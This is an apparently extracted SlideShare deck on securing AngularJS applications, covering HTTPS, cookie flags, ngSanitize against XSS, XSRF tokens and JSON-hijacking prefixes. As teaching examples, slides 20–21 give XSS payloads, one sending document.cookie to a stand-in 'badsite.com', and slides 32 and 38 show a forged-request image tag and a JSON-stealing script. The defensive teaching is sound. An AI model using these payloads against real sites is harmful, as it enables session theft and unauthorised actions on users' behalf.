Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Secure my ng-app

3,400 views

Published on

Secure your AngularJS Application in minimal approach :)

Published in: Technology

Secure my ng-app

  1. 1. <I want to> Secure my ng-app! M A Hossain Tonu
  2. 2. AngularJS is a <battle> tank?
  3. 3. Wakeup! It’s just a client side <framework>!
  4. 4. <head-scratching> So what to do now?
  5. 5. Do <what> the whole world does!
  6. 6. <Follow> the security checklist (basic)!
  7. 7. Basics to secure my ng app! • Securing the server • Prevent Man-in-the-middle • Prevent XSS with NG Sanitize • Prevent XSRF • Prevent JSON Injection
  8. 8. Security is nothing but doing right things in right way.
  9. 9. Securing the Server
  10. 10. Securing the Server Authorization + Authentication
  11. 11. Authorization OAuth2 (http://oauth.net/)
  12. 12. Authorization Unauthorized access = HTTP 401
  13. 13. Authentication API POST /login! POST /register ! POST /logout ! GET /current-user
  14. 14. Preventing Cookie Snooping <man-in-the- middle attacks>
  15. 15. HTTPS = Sanity
  16. 16. Http should not be hardcoded angular! .module(‘app’)! .constant('NGCONF_CONFIG', ! {! baseUrl: ‘/my-precious-url/‘,! dbName: 'ngconf'! });
  17. 17. <authentication cookie to HTTPS only> httpOnly and secure options to true
  18. 18. <Prevent> The XSS!
  19. 19. Example, at index.php $name = $_GET['name'];! echo "Welcome $name<br>";! echo "<a href=“http:// mythikthaksite.com/“>My profile</a>";
  20. 20. Example, at index.php index.php? name=guest<script>alert('attacked')</ script>
  21. 21. Example, at index.php index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName(“ a");link[0].href="http://badsite.com/ xss?"+document.cookie;}</script>
  22. 22. Escaping is the ultimate solution!
  23. 23. AngularJS expressions ng-bind {{curly braces}}
  24. 24. General defence against XSS! $scope.msg = 'Hello, <b>World</b>!'; + = <p ng-bind="msg"></p> <p>Hello, &lt;b&gt;World&lt;/b&gt;!</p>
  25. 25. Display Markup? $scope.msg = 'Hello, <b>World</b>!'; <p ng-bind-html-unsafe="msg"></p> + = <p>Hello, <b>World</b>!</p>
  26. 26. Allow safe HTML tags $scope.msg = 'Hello, <b>World</b>!'; + = <p ng-bind-html="msg"></p> <p>Hello, <b>World</b>!</p>
  27. 27. ng-bind-html • Sanitizes <script> and <style> elements • Sanitizes attributes that take URLs such as href, src, and usemap.
  28. 28. ng-bind-html dependency angular.module('expressionsEscaping', [‘ngSanitize'])! ! .controller('ExpressionsEscapingCtrl', function ($scope) {! $scope.msg = 'Hello, <b>World</b>!';! });!
  29. 29. $sanitize service var safeDescription = $sanitize(description);
  30. 30. Preventing XSRF
  31. 31. Example, Follower Trap http://my.loggedin.site.com/follow/USERNAME/
  32. 32. Meanwhile in an Evil Page! <img src=“http://my.loggedin.site.com/follow/USERNAME/“ width=“1” height=“1”>
  33. 33. $http service comes in with a solution!
  34. 34. Solution! • Server sets a session cookie XSRF-TOKEN • $http extracts this token • $http attaches it as a header X-XSRF-TOKEN • Token, auth cookie digest with added salt! yummy!
  35. 35. JSON injection vulnerability
  36. 36. Loggedin at goodsite! http://goodsite.com/secret-info.json [‘a’, ‘b', 'c']
  37. 37. Meanwhile in an Evil Page!
  38. 38. <script type="text/javascript">! var json;! Array = function() { json = this;};! </script>! <script src=“http://goodsite.com/secret-info. json" type="text/javascript">! <script type=“text/javascript"> ! for(var index in json) { console.log(json[index]); }! </script>
  39. 39. Deliver Invalid JSON! )]}', [‘a’, ‘b', 'c']
  40. 40. $http service automatically strips this prefix string
  41. 41. This is it? Now implement Your Own Security Patterns :)
  42. 42. Homework for Good kids • Adding your own Security Service • securityInterceptor Service • Secure routes using Route Resolvers
  43. 43. Mastering Web Application Development with AngularJS
  44. 44. References • AngularJS Authentication Pattern • Secure AngularJS
  45. 45. QA?
  46. 46. Who am I? ! http://mahtonu.wordpress.com Vantage Labs Dhaka @mahtonu Authored the title “PHP Application Development with NetBeans: Beginner's Guide” http://link.packtpub.com/6HaElo

×